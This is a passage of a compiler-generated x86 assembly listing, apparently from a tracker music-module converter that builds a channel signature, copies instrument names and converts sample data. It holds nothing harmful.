00008: 015A 80 C1 30 ADD CL, 30
00008: 015D 88 8C 24 0000017D MOV BYTE PTR 0000017D[ESP], CL
00008: 0164 C6 84 24 0000017E43 MOV BYTE PTR 0000017E[ESP], 43
00008: 016C C6 84 24 0000017F48 MOV BYTE PTR 0000017F[ESP], 48
00008: 0174 EB 21 JMP L0007
00000: 0176 ALIGN 00000010, 00000008
00008: 0176 L0006:
00008: 0176 04 30 ADD AL, 30
00008: 0178 88 84 24 0000017C MOV BYTE PTR 0000017C[ESP], AL
00008: 017F C6 84 24 0000017D43 MOV BYTE PTR 0000017D[ESP], 43
00008: 0187 C6 84 24 0000017E48 MOV BYTE PTR 0000017E[ESP], 48
00008: 018F C6 84 24 0000017F4E MOV BYTE PTR 0000017F[ESP], 4E
00008: 0197 L0007:
00008: 0197 8D 84 24 0000017C LEA EAX, DWORD PTR 0000017C[ESP]
00008: 019E 8B 08 MOV ECX, DWORD PTR 00000000[EAX]
00008: 01A0 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 01A4 89 88 00000438 MOV DWORD PTR 00000438[EAX], ECX
00008: 01AA L0005:
00008: 01AA 31 D2 XOR EDX, EDX
00008: 01AC 83 FA 14 CMP EDX, 00000014
00008: 01AF 7D 66 JGE L0008
00000: 01B1 ALIGN 00000010, 00000008
00008: 01B1 L0009:
00008: 01B1 8B 45 00 MOV EAX, DWORD PTR 00000000[EBP]
00008: 01B4 8A 5C 10 04 MOV BL, BYTE PTR 00000004[EAX][EDX]
00008: 01B8 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 01BC 88 1C 10 MOV BYTE PTR 00000000[EAX][EDX], BL
00008: 01BF 89 D7 MOV EDI, EDX
00008: 01C1 47 INC EDI
00008: 01C2 89 D6 MOV ESI, EDX
00008: 01C4 46 INC ESI
00008: 01C5 8B 45 00 MOV EAX, DWORD PTR 00000000[EBP]
00008: 01C8 8A 4C 30 04 MOV CL, BYTE PTR 00000004[EAX][ESI]
00008: 01CC 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 01D0 88 0C 38 MOV BYTE PTR 00000000[EAX][EDI], CL
00008: 01D3 8D 5A 02 LEA EBX, DWORD PTR 00000002[EDX]
00008: 01D6 8D 7A 02 LEA EDI, DWORD PTR 00000002[EDX]
00008: 01D9 8B 45 00 MOV EAX, DWORD PTR 00000000[EBP]
00008: 01DC 8A 4C 38 04 MOV CL, BYTE PTR 00000004[EAX][EDI]
00008: 01E0 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 01E4 88 0C 18 MOV BYTE PTR 00000000[EAX][EBX], CL
00008: 01E7 8D 72 03 LEA ESI, DWORD PTR 00000003[EDX]
00008: 01EA 8D 5A 03 LEA EBX, DWORD PTR 00000003[EDX]
00008: 01ED 8B 45 00 MOV EAX, DWORD PTR 00000000[EBP]
00008: 01F0 8A 4C 18 04 MOV CL, BYTE PTR 00000004[EAX][EBX]
00008: 01F4 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 01F8 88 0C 30 MOV BYTE PTR 00000000[EAX][ESI], CL
00008: 01FB 8D 7A 04 LEA EDI, DWORD PTR 00000004[EDX]
00008: 01FE 8D 72 04 LEA ESI, DWORD PTR 00000004[EDX]
00008: 0201 8B 45 00 MOV EAX, DWORD PTR 00000000[EBP]
00008: 0204 8A 5C 30 04 MOV BL, BYTE PTR 00000004[EAX][ESI]
00008: 0208 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 020C 88 1C 38 MOV BYTE PTR 00000000[EAX][EDI], BL
00008: 020F 83 C2 05 ADD EDX, 00000005
00008: 0212 83 FA 14 CMP EDX, 00000014
00008: 0215 7C FFFFFF9A JL L0009
00008: 0217 L0008:
00008: 0217 30 D2 XOR DL, DL
00008: 0219 8B 45 00 MOV EAX, DWORD PTR 00000000[EBP]
00008: 021C 8A 88 00000126 MOV CL, BYTE PTR 00000126[EAX]
00008: 0222 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 0226 88 88 000003B6 MOV BYTE PTR 000003B6[EAX], CL
00008: 022C 31 F6 XOR ESI, ESI
00008: 022E 81 FE 00000080 CMP ESI, 00000080
00008: 0234 7D 3B JGE L000A
00000: 0236 ALIGN 00000010, 00000008
00008: 0236 L000B:
00008: 0236 8B 45 00 MOV EAX, DWORD PTR 00000000[EBP]
00008: 0239 8A 9C 30 00000129 MOV BL, BYTE PTR 00000129[EAX][ESI]
00008: 0240 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 0244 88 9C 30 000003B8 MOV BYTE PTR 000003B8[EAX][ESI], BL
00008: 024B 8B 45 00 MOV EAX, DWORD PTR 00000000[EBP]
00008: 024E 0F B6 88 00000124 MOVZX ECX, BYTE PTR 00000124[EAX]
00008: 0255 49 DEC ECX
00008: 0256 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 025A 0F B6 84 30 000003B8 MOVZX EAX, BYTE PTR 000003B8[EAX][ESI]
00008: 0262 39 C8 CMP EAX, ECX
00008: 0264 75 02 JNE L000C
00008: 0266 B2 01 MOV DL, 01
00008: 0268 L000C:
00008: 0268 46 INC ESI
00008: 0269 81 FE 00000080 CMP ESI, 00000080
00008: 026F 7C FFFFFFC5 JL L000B
00008: 0271 L000A:
00008: 0271 84 D2 TEST DL, DL
00008: 0273 75 21 JNE L000D
00008: 0275 8B 45 00 MOV EAX, DWORD PTR 00000000[EBP]
00008: 0278 8A 98 00000124 MOV BL, BYTE PTR 00000124[EAX]
00008: 027E FE CB DEC BL
00008: 0280 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 0284 0F B6 90 000003B6 MOVZX EDX, BYTE PTR 000003B6[EAX]
00008: 028B 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 028F 88 9C 10 000003B9 MOV BYTE PTR 000003B9[EAX][EDX], BL
00008: 0296 L000D:
00008: 0296 C7 44 24 78 00000000 MOV DWORD PTR 00000078[ESP], 00000000
00008: 029E C7 44 24 6C 00000000 MOV DWORD PTR 0000006C[ESP], 00000000
00008: 02A6 C7 44 24 70 00000000 MOV DWORD PTR 00000070[ESP], 00000000
00008: 02AE C7 44 24 2C 00000000 MOV DWORD PTR 0000002C[ESP], 00000000
00000: 02B6 ALIGN 00000010, 00000008
00008: 02B6 L000E:
00008: 02B6 8B 8D 00000324 MOV ECX, DWORD PTR 00000324[EBP]
00008: 02BC 8B 44 24 6C MOV EAX, DWORD PTR 0000006C[ESP]
00008: 02C0 66 83 7C 01 24 00 CMP WORD PTR 00000024[ECX][EAX], 0000
00008: 02C6 0F 8E 0000029B JLE L000F
00008: 02CC 8B 9D 00000328 MOV EBX, DWORD PTR 00000328[EBP]
00008: 02D2 8B 4C 24 70 MOV ECX, DWORD PTR 00000070[ESP]
00008: 02D6 8B 04 0B MOV EAX, DWORD PTR 00000000[EBX][ECX]
00008: 02D9 89 44 24 54 MOV DWORD PTR 00000054[ESP], EAX
00008: 02DD 31 FF XOR EDI, EDI
00008: 02DF 83 FF 16 CMP EDI, 00000016
00008: 02E2 0F 8D 00000120 JGE L0010
00008: 02E8 8B 44 24 6C MOV EAX, DWORD PTR 0000006C[ESP]
00008: 02EC 89 44 24 48 MOV DWORD PTR 00000048[ESP], EAX
00000: 02F0 ALIGN 00000010, 00000008
00008: 02F0 L0011:
00008: 02F0 8B 95 00000324 MOV EDX, DWORD PTR 00000324[EBP]
00008: 02F6 8B 44 24 48 MOV EAX, DWORD PTR 00000048[ESP]
00008: 02FA 01 F8 ADD EAX, EDI
00008: 02FC 8B 74 24 2C MOV ESI, DWORD PTR 0000002C[ESP]
00008: 0300 01 FE ADD ESI, EDI
00008: 0302 8A 1C 02 MOV BL, BYTE PTR 00000000[EDX][EAX]
00008: 0305 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 0309 88 5C 30 14 MOV BYTE PTR 00000014[EAX][ESI], BL
00008: 030D 8B 8D 00000324 MOV ECX, DWORD PTR 00000324[EBP]
00008: 0313 89 FA MOV EDX, EDI
00008: 0315 42 INC EDX
00008: 0316 8B 5C 24 48 MOV EBX, DWORD PTR 00000048[ESP]
00008: 031A 01 D3 ADD EBX, EDX
00008: 031C 89 F8 MOV EAX, EDI
00008: 031E 40 INC EAX
00008: 031F 8B 74 24 2C MOV ESI, DWORD PTR 0000002C[ESP]
00008: 0323 01 C6 ADD ESI, EAX
00008: 0325 8A 0C 19 MOV CL, BYTE PTR 00000000[ECX][EBX]
00008: 0328 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 032C 88 4C 30 14 MOV BYTE PTR 00000014[EAX][ESI], CL
00008: 0330 8B 95 00000324 MOV EDX, DWORD PTR 00000324[EBP]
00008: 0336 8D 5F 02 LEA EBX, DWORD PTR 00000002[EDI]
00008: 0339 8B 4C 24 48 MOV ECX, DWORD PTR 00000048[ESP]
00008: 033D 01 D9 ADD ECX, EBX
00008: 033F 8D 47 02 LEA EAX, DWORD PTR 00000002[EDI]
00008: 0342 8B 74 24 2C MOV ESI, DWORD PTR 0000002C[ESP]
00008: 0346 01 C6 ADD ESI, EAX
00008: 0348 8A 14 0A MOV DL, BYTE PTR 00000000[EDX][ECX]
00008: 034B 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 034F 88 54 30 14 MOV BYTE PTR 00000014[EAX][ESI], DL
00008: 0353 8B 9D 00000324 MOV EBX, DWORD PTR 00000324[EBP]
00008: 0359 8D 4F 03 LEA ECX, DWORD PTR 00000003[EDI]
00008: 035C 8B 54 24 48 MOV EDX, DWORD PTR 00000048[ESP]
00008: 0360 01 CA ADD EDX, ECX
00008: 0362 8D 47 03 LEA EAX, DWORD PTR 00000003[EDI]
00008: 0365 8B 74 24 2C MOV ESI, DWORD PTR 0000002C[ESP]
00008: 0369 01 C6 ADD ESI, EAX
00008: 036B 8A 1C 13 MOV BL, BYTE PTR 00000000[EBX][EDX]
00008: 036E 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 0372 88 5C 30 14 MOV BYTE PTR 00000014[EAX][ESI], BL
00008: 0376 8B 8D 00000324 MOV ECX, DWORD PTR 00000324[EBP]
00008: 037C 8D 57 04 LEA EDX, DWORD PTR 00000004[EDI]
00008: 037F 8B 5C 24 48 MOV EBX, DWORD PTR 00000048[ESP]
00008: 0383 01 D3 ADD EBX, EDX
00008: 0385 8D 47 04 LEA EAX, DWORD PTR 00000004[EDI]
00008: 0388 8B 74 24 2C MOV ESI, DWORD PTR 0000002C[ESP]
00008: 038C 01 C6 ADD ESI, EAX
00008: 038E 8A 0C 19 MOV CL, BYTE PTR 00000000[ECX][EBX]
00008: 0391 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 0395 88 4C 30 14 MOV BYTE PTR 00000014[EAX][ESI], CL
00008: 0399 8B 95 00000324 MOV EDX, DWORD PTR 00000324[EBP]
00008: 039F 8D 5F 05 LEA EBX, DWORD PTR 00000005[EDI]
00008: 03A2 8B 4C 24 48 MOV ECX, DWORD PTR 00000048[ESP]
00008: 03A6 01 D9 ADD ECX, EBX
00008: 03A8 8D 47 05 LEA EAX, DWORD PTR 00000005[EDI]
00008: 03AB 8B 74 24 2C MOV ESI, DWORD PTR 0000002C[ESP]
00008: 03AF 01 C6 ADD ESI, EAX
00008: 03B1 8A 14 0A MOV DL, BYTE PTR 00000000[EDX][ECX]
00008: 03B4 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 03B8 88 54 30 14 MOV BYTE PTR 00000014[EAX][ESI], DL
00008: 03BC 8B 9D 00000324 MOV EBX, DWORD PTR 00000324[EBP]
00008: 03C2 8D 4F 06 LEA ECX, DWORD PTR 00000006[EDI]
00008: 03C5 8B 54 24 48 MOV EDX, DWORD PTR 00000048[ESP]
00008: 03C9 01 CA ADD EDX, ECX
00008: 03CB 8D 47 06 LEA EAX, DWORD PTR 00000006[EDI]
00008: 03CE 8B 74 24 2C MOV ESI, DWORD PTR 0000002C[ESP]
00008: 03D2 01 C6 ADD ESI, EAX
00008: 03D4 8A 0C 13 MOV CL, BYTE PTR 00000000[EBX][EDX]
00008: 03D7 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 03DB 88 4C 30 14 MOV BYTE PTR 00000014[EAX][ESI], CL
00008: 03DF 83 C7 07 ADD EDI, 00000007
00008: 03E2 83 FF 0F CMP EDI, 0000000F
00008: 03E5 0F 8C FFFFFF05 JL L0011
00008: 03EB 8B 95 00000324 MOV EDX, DWORD PTR 00000324[EBP]
00008: 03F1 8B 44 24 6C MOV EAX, DWORD PTR 0000006C[ESP]
00008: 03F5 01 F8 ADD EAX, EDI
00008: 03F7 8B 74 24 2C MOV ESI, DWORD PTR 0000002C[ESP]
00008: 03FB 01 FE ADD ESI, EDI
00008: 03FD 8A 0C 02 MOV CL, BYTE PTR 00000000[EDX][EAX]
00008: 0400 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 0404 88 4C 30 14 MOV BYTE PTR 00000014[EAX][ESI], CL
00008: 0408 L0010:
00008: 0408 8B 44 24 54 MOV EAX, DWORD PTR 00000054[ESP]
00008: 040C 8B 18 MOV EBX, DWORD PTR 00000000[EAX]
00008: 040E 81 FB 80000000 CMP EBX, 80000000
00008: 0414 83 DB FFFFFFFF SBB EBX, FFFFFFFF
00008: 0417 D1 FB SAR EBX, 00000001
00008: 0419 81 FB 0000FFFF CMP EBX, 0000FFFF
00008: 041F 76 10 JBE L0012
00008: 0421 8B 4C 24 2C MOV ECX, DWORD PTR 0000002C[ESP]
00008: 0425 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 0429 66 83 4C 08 2A FFFFFFFF OR WORD PTR 0000002A[EAX][ECX], FFFFFFFF
00008: 042F EB 0D JMP L0013
00000: 0431 ALIGN 00000010, 00000008
00008: 0431 L0012:
00008: 0431 8B 4C 24 2C MOV ECX, DWORD PTR 0000002C[ESP]
00008: 0435 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 0439 66 89 5C 08 2A MOV WORD PTR 0000002A[EAX][ECX], BX
00008: 043E L0013:
00008: 043E 8B 44 24 54 MOV EAX, DWORD PTR 00000054[ESP]
00008: 0442 0F B7 50 0E MOVZX EDX, WORD PTR 0000000E[EAX]
00008: 0446 81 C2 FFFFDF55 ADD EDX, FFFFDF55
00008: 044C B8 51EB851F MOV EAX, 51EB851F
00008: 0451 89 D3 MOV EBX, EDX
00008: 0453 F7 EA IMUL EDX
00008: 0455 C1 EB 1F SHR EBX, 0000001F
00008: 0458 C1 FA 04 SAR EDX, 00000004
00008: 045B 01 D3 ADD EBX, EDX
00008: 045D 66 85 DB TEST BX, BX
00008: 0460 7D 03 JGE L0014
00008: 0462 83 C3 10 ADD EBX, 00000010
00008: 0465 L0014:
00008: 0465 8B 4C 24 2C MOV ECX, DWORD PTR 0000002C[ESP]
00008: 0469 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 046D 88 5C 08 2C MOV BYTE PTR 0000002C[EAX][ECX], BL
00008: 0471 8B 44 24 54 MOV EAX, DWORD PTR 00000054[ESP]
00008: 0475 8A 50 0C MOV DL, BYTE PTR 0000000C[EAX]
00008: 0478 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 047C 88 54 08 2D MOV BYTE PTR 0000002D[EAX][ECX], DL
00008: 0480 8B 44 24 54 MOV EAX, DWORD PTR 00000054[ESP]
00008: 0484 8B 78 04 MOV EDI, DWORD PTR 00000004[EAX]
00008: 0487 81 FF 80000000 CMP EDI, 80000000
00008: 048D 83 DF FFFFFFFF SBB EDI, FFFFFFFF
00008: 0490 D1 FF SAR EDI, 00000001
00008: 0492 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 0496 66 89 7C 08 2E MOV WORD PTR 0000002E[EAX][ECX], DI
00008: 049B 8B 44 24 54 MOV EAX, DWORD PTR 00000054[ESP]
00008: 049F 8B 50 08 MOV EDX, DWORD PTR 00000008[EAX]
00008: 04A2 81 FA 80000000 CMP EDX, 80000000
00008: 04A8 83 DA FFFFFFFF SBB EDX, FFFFFFFF
00008: 04AB D1 FA SAR EDX, 00000001
00008: 04AD 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 04B1 66 89 54 08 30 MOV WORD PTR 00000030[EAX][ECX], DX
00008: 04B6 8B 44 24 54 MOV EAX, DWORD PTR 00000054[ESP]
00008: 04BA 66 8B 40 0E MOV AX, WORD PTR 0000000E[EAX]
00008: 04BE 66 3D 2235 CMP AX, 2235
00008: 04C2 77 0A JA L0015
00008: 04C4 66 3D 1ED7 CMP AX, 1ED7
00008: 04C8 0F 83 0000015D JAE L0016
00008: 04CE L0015:
00008: 04CE 8B 4C 24 2C MOV ECX, DWORD PTR 0000002C[ESP]
00008: 04D2 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 04D6 C6 44 08 2C 00 MOV BYTE PTR 0000002C[EAX][ECX], 00
00008: 04DB 8B 44 24 54 MOV EAX, DWORD PTR 00000054[ESP]
00008: 04DF 8B 40 04 MOV EAX, DWORD PTR 00000004[EAX]
00008: 04E2 3D 80000000 CMP EAX, 80000000
00008: 04E7 83 D8 FFFFFFFF SBB EAX, FFFFFFFF
00008: 04EA D1 F8 SAR EAX, 00000001
00008: 04EC 69 C0 000020AB IMUL EAX, EAX, 000020AB
00008: 04F2 8B 4C 24 54 MOV ECX, DWORD PTR 00000054[ESP]
00008: 04F6 0F B7 49 0E MOVZX ECX, WORD PTR 0000000E[ECX]
00008: 04FA 99 CDQ
00008: 04FB F7 F9 IDIV ECX
00008: 04FD 8B 54 24 2C MOV EDX, DWORD PTR 0000002C[ESP]
00008: 0501 8B 4C 24 18 MOV ECX, DWORD PTR 00000018[ESP]
00008: 0505 66 89 44 11 2E MOV WORD PTR 0000002E[ECX][EDX], AX
00008: 050A 8B 44 24 54 MOV EAX, DWORD PTR 00000054[ESP]
00008: 050E 8B 40 08 MOV EAX, DWORD PTR 00000008[EAX]
00008: 0511 3D 80000000 CMP EAX, 80000000
00008: 0516 83 D8 FFFFFFFF SBB EAX, FFFFFFFF
00008: 0519 D1 F8 SAR EAX, 00000001
00008: 051B 69 C0 000020AB IMUL EAX, EAX, 000020AB
00008: 0521 8B 4C 24 54 MOV ECX, DWORD PTR 00000054[ESP]
00008: 0525 0F B7 71 0E MOVZX ESI, WORD PTR 0000000E[ECX]
00008: 0529 99 CDQ
00008: 052A F7 FE IDIV ESI
00008: 052C 8B 54 24 2C MOV EDX, DWORD PTR 0000002C[ESP]
00008: 0530 8B 4C 24 18 MOV ECX, DWORD PTR 00000018[ESP]
00008: 0534 66 89 44 11 30 MOV WORD PTR 00000030[ECX][EDX], AX
00008: 0539 89 D1 MOV ECX, EDX
00008: 053B 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 053F 0F B7 44 08 2A MOVZX EAX, WORD PTR 0000002A[EAX][ECX]
00008: 0544 69 C0 000020AB IMUL EAX, EAX, 000020AB
00008: 054A 8B 4C 24 54 MOV ECX, DWORD PTR 00000054[ESP]
00008: 054E 0F B7 79 0E MOVZX EDI, WORD PTR 0000000E[ECX]
00008: 0552 99 CDQ
00008: 0553 F7 FF IDIV EDI
00008: 0555 8B 54 24 2C MOV EDX, DWORD PTR 0000002C[ESP]
00008: 0559 8B 4C 24 18 MOV ECX, DWORD PTR 00000018[ESP]
00008: 055D 66 89 44 11 2A MOV WORD PTR 0000002A[ECX][EDX], AX
00008: 0562 E9 000000C4 JMP L0016
00000: 0567 ALIGN 00000010, 00000008
00008: 0567 L000F:
00008: 0567 31 C9 XOR ECX, ECX
00008: 0569 83 F9 16 CMP ECX, 00000016
00008: 056C 0F 8D 00000092 JGE L0017
00000: 0572 ALIGN 00000010, 00000008
00008: 0572 L0018:
00008: 0572 8B 74 24 2C MOV ESI, DWORD PTR 0000002C[ESP]
00008: 0576 01 CE ADD ESI, ECX
00008: 0578 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 057C C6 44 30 14 00 MOV BYTE PTR 00000014[EAX][ESI], 00
00008: 0581 89 C8 MOV EAX, ECX
00008: 0583 40 INC EAX
00008: 0584 8B 54 24 2C MOV EDX, DWORD PTR 0000002C[ESP]
00008: 0588 01 C2 ADD EDX, EAX
00008: 058A 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 058E C6 44 10 14 00 MOV BYTE PTR 00000014[EAX][EDX], 00
00008: 0593 8D 41 02 LEA EAX, DWORD PTR 00000002[ECX]
00008: 0596 8B 7C 24 2C MOV EDI, DWORD PTR 0000002C[ESP]
00008: 059A 01 C7 ADD EDI, EAX
00008: 059C 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 05A0 C6 44 38 14 00 MOV BYTE PTR 00000014[EAX][EDI], 00
00008: 05A5 8D 41 03 LEA EAX, DWORD PTR 00000003[ECX]
00008: 05A8 8B 74 24 2C MOV ESI, DWORD PTR 0000002C[ESP]
00008: 05AC 01 C6 ADD ESI, EAX
00008: 05AE 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 05B2 C6 44 30 14 00 MOV BYTE PTR 00000014[EAX][ESI], 00
00008: 05B7 8D 41 04 LEA EAX, DWORD PTR 00000004[ECX]
00008: 05BA 8B 54 24 2C MOV EDX, DWORD PTR 0000002C[ESP]
00008: 05BE 01 C2 ADD EDX, EAX
00008: 05C0 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 05C4 C6 44 10 14 00 MOV BYTE PTR 00000014[EAX][EDX], 00
00008: 05C9 8D 41 05 LEA EAX, DWORD PTR 00000005[ECX]
00008: 05CC 8B 7C 24 2C MOV EDI, DWORD PTR 0000002C[ESP]
00008: 05D0 01 C7 ADD EDI, EAX
00008: 05D2 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 05D6 C6 44 38 14 00 MOV BYTE PTR 00000014[EAX][EDI], 00
00008: 05DB 8D 41 06 LEA EAX, DWORD PTR 00000006[ECX]
00008: 05DE 8B 74 24 2C MOV ESI, DWORD PTR 0000002C[ESP]
00008: 05E2 01 C6 ADD ESI, EAX
00008: 05E4 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 05E8 C6 44 30 14 00 MOV BYTE PTR 00000014[EAX][ESI], 00
00008: 05ED 83 C1 07 ADD ECX, 00000007
00008: 05F0 83 F9 0F CMP ECX, 0000000F
00008: 05F3 0F 8C FFFFFF79 JL L0018
00008: 05F9 8B 54 24 2C MOV EDX, DWORD PTR 0000002C[ESP]
00008: 05FD 01 CA ADD EDX, ECX
00008: 05FF C6 44 10 14 00 MOV BYTE PTR 00000014[EAX][EDX], 00
00008: 0604 L0017:
00008: 0604 8B 4C 24 2C MOV ECX, DWORD PTR 0000002C[ESP]
00008: 0608 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 060C 66 C7 44 08 2A 0000 MOV WORD PTR 0000002A[EAX][ECX], 0000
00008: 0613 C6 44 08 2C 00 MOV BYTE PTR 0000002C[EAX][ECX], 00
00008: 0618 C6 44 08 2D 40 MOV BYTE PTR 0000002D[EAX][ECX], 40
00008: 061D 66 C7 44 08 2E 0000 MOV WORD PTR 0000002E[EAX][ECX], 0000
00008: 0624 66 C7 44 08 30 0000 MOV WORD PTR 00000030[EAX][ECX], 0000
00008: 062B L0016:
00008: 062B 81 44 24 6C 0000012C ADD DWORD PTR 0000006C[ESP], 0000012C
00008: 0633 81 44 24 70 00000100 ADD DWORD PTR 00000070[ESP], 00000100
00008: 063B 83 44 24 2C 1E ADD DWORD PTR 0000002C[ESP], 0000001E
00008: 0640 FF 44 24 78 INC DWORD PTR 00000078[ESP]
00008: 0644 83 7C 24 78 1F CMP DWORD PTR 00000078[ESP], 0000001F
00008: 0649 0F 8C FFFFFC67 JL L000E
00008: 064F C7 44 24 68 00000000 MOV DWORD PTR 00000068[ESP], 00000000
00008: 0657 8B 75 00 MOV ESI, DWORD PTR 00000000[EBP]
00008: 065A 0F B6 9E 00000124 MOVZX EBX, BYTE PTR 00000124[ESI]
00008: 0661 8D 1C 9D 00000000 LEA EBX, [00000000][EBX*4]
00008: 0668 C1 E3 06 SHL EBX, 00000006
00008: 066B 0F B6 86 00000125 MOVZX EAX, BYTE PTR 00000125[ESI]
00008: 0672 0F AF D8 IMUL EBX, EAX
00008: 0675 81 C3 0000043C ADD EBX, 0000043C
00008: 067B C7 44 24 5C 00000000 MOV DWORD PTR 0000005C[ESP], 00000000
00008: 0683 C7 44 24 60 00000000 MOV DWORD PTR 00000060[ESP], 00000000
00008: 068B C7 44 24 64 00000000 MOV DWORD PTR 00000064[ESP], 00000000
00008: 0693 C7 44 24 24 00000000 MOV DWORD PTR 00000024[ESP], 00000000
00008: 069B 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 069F 89 44 24 74 MOV DWORD PTR 00000074[ESP], EAX
00008: 06A3 01 5C 24 74 ADD DWORD PTR 00000074[ESP], EBX
00000: 06A7 ALIGN 00000010, 00000008
00008: 06A7 L0019:
00008: 06A7 8B BD 00000328 MOV EDI, DWORD PTR 00000328[EBP]
00008: 06AD 8B 4C 24 60 MOV ECX, DWORD PTR 00000060[ESP]
00008: 06B1 8B 04 0F MOV EAX, DWORD PTR 00000000[EDI][ECX]
00008: 06B4 89 44 24 1C MOV DWORD PTR 0000001C[ESP], EAX
00008: 06B8 8B 8D 00000324 MOV ECX, DWORD PTR 00000324[EBP]
00008: 06BE 8B 44 24 64 MOV EAX, DWORD PTR 00000064[ESP]
00008: 06C2 66 83 7C 01 24 00 CMP WORD PTR 00000024[ECX][EAX], 0000
00008: 06C8 0F 8E 000001E5 JLE L001A
00008: 06CE 8B 74 24 68 MOV ESI, DWORD PTR 00000068[ESP]
00008: 06D2 03 74 24 74 ADD ESI, DWORD PTR 00000074[ESP]
00008: 06D6 8B 44 24 1C MOV EAX, DWORD PTR 0000001C[ESP]
00008: 06DA 66 8B 58 0E MOV BX, WORD PTR 0000000E[EAX]
00008: 06DE 66 81 FB 2235 CMP BX, 2235
00008: 06E3 77 07 JA L001B
00008: 06E5 66 81 FB 1ED7 CMP BX, 1ED7
00008: 06EA 73 34 JAE L001C
00008: 06EC L001B:
00008: 06EC 68 000020AB PUSH 000020AB
00008: 06F1 56 PUSH ESI
00008: 06F2 0F B7 C3 MOVZX EAX, BX
00008: 06F5 50 PUSH EAX
00008: 06F6 8B 44 24 28 MOV EAX, DWORD PTR 00000028[ESP]
00008: 06FA 0F B6 40 11 MOVZX EAX, BYTE PTR 00000011[EAX]
00008: 06FE 50 PUSH EAX
00008: 06FF 8B 44 24 2C MOV EAX, DWORD PTR 0000002C[ESP]
00008: 0703 8B 10 MOV EDX, DWORD PTR 00000000[EAX]
00008: 0705 52 PUSH EDX
00008: 0706 8B 44 24 70 MOV EAX, DWORD PTR 00000070[ESP]
00008: 070A 8B 84 84 00000090 MOV EAX, DWORD PTR 00000090[ESP][EAX*4]
00008: 0711 50 PUSH EAX
00008: 0712 E8 00000000 CALL SHORT ?ConvertSampleC4SPD@@YAJPADJFJ0J@Z
00008: 0717 83 C4 18 ADD ESP, 00000018
00008: 071A EB 29 JMP L001D
00000: 071C 8D 44 20 00 ALIGN 00000010, 00000008
00008: 0720 L001C:
00008: 0720 8B 4C 24 24 MOV ECX, DWORD PTR 00000024[ESP]
00008: 0724 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 0728 0F B7 7C 08 2A MOVZX EDI, WORD PTR 0000002A[EAX][ECX]
00008: 072D 01 FF ADD EDI, EDI
00008: 072F 57 PUSH EDI
00008: 0730 8B 44 24 60 MOV EAX, DWORD PTR 00000060[ESP]
00008: 0734 8B 84 84 00000080 MOV EAX, DWORD PTR 00000080[ESP][EAX*4]
00008: 073B 50 PUSH EAX
00008: 073C 56 PUSH ESI
00008: 073D E8 00000000 CALL SHORT _memcpy
00008: 0742 83 C4 0C ADD ESP, 0000000C
00008: 0745 L001D:
00008: 0745 8B 4C 24 24 MOV ECX, DWORD PTR 00000024[ESP]
00008: 0749 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 074D 0F B7 44 08 2A MOVZX EAX, WORD PTR 0000002A[EAX][ECX]
00008: 0752 01 C0 ADD EAX, EAX
00008: 0754 01 F0 ADD EAX, ESI
00008: 0756 3B 44 24 4C CMP EAX, DWORD PTR 0000004C[ESP]
00008: 075A 76 0B JBE L001E
00008: 075C 68 00000000 PUSH OFFSET @1025
00008: 0761 E8 00000000 CALL SHORT ?DebugStr@@YAXPAE@Z
00008: 0766 59 POP ECX
00008: 0767 L001E:
00008: 0767 8B 4C 24 24 MOV ECX, DWORD PTR 00000024[ESP]
00008: 076B 8B 44 24 18 MOV EAX, DWORD PTR 00000018[ESP]
00008: 076F 66 8B 4C 08 2A MOV CX, WORD PTR 0000002A[EAX][ECX]
00008: 0774 66 85 C9 TEST CX, CX
00008: 0777 0F 84 00000123 JE L001F
00008: 077D 8B 44 24 1C MOV EAX, DWORD PTR 0000001C[ESP]
00008: 0781 80 78 11 10 CMP BYTE PTR 00000011[EAX], 10
00008: 0785 75 6B JNE L0020
00008: 0787 0F B7 C1 MOVZX EAX, CX
00008: 078A 01 C0 ADD EAX, EAX
00008: 078C 50 PUSH EAX
00008: 078D 56 PUSH ESI
00008: 078E 56 PUSH ESI
00008: 078F E8 00000000 CALL SHORT ?Convert16to8@@YAXPAD0J@Z
